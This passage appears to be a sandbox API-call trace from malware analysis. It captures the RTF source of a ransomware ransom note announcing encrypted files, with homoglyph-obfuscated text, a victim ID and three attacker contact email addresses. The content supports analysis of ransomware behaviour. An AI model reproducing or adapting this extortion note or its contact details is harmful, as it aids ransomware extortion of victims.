r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u 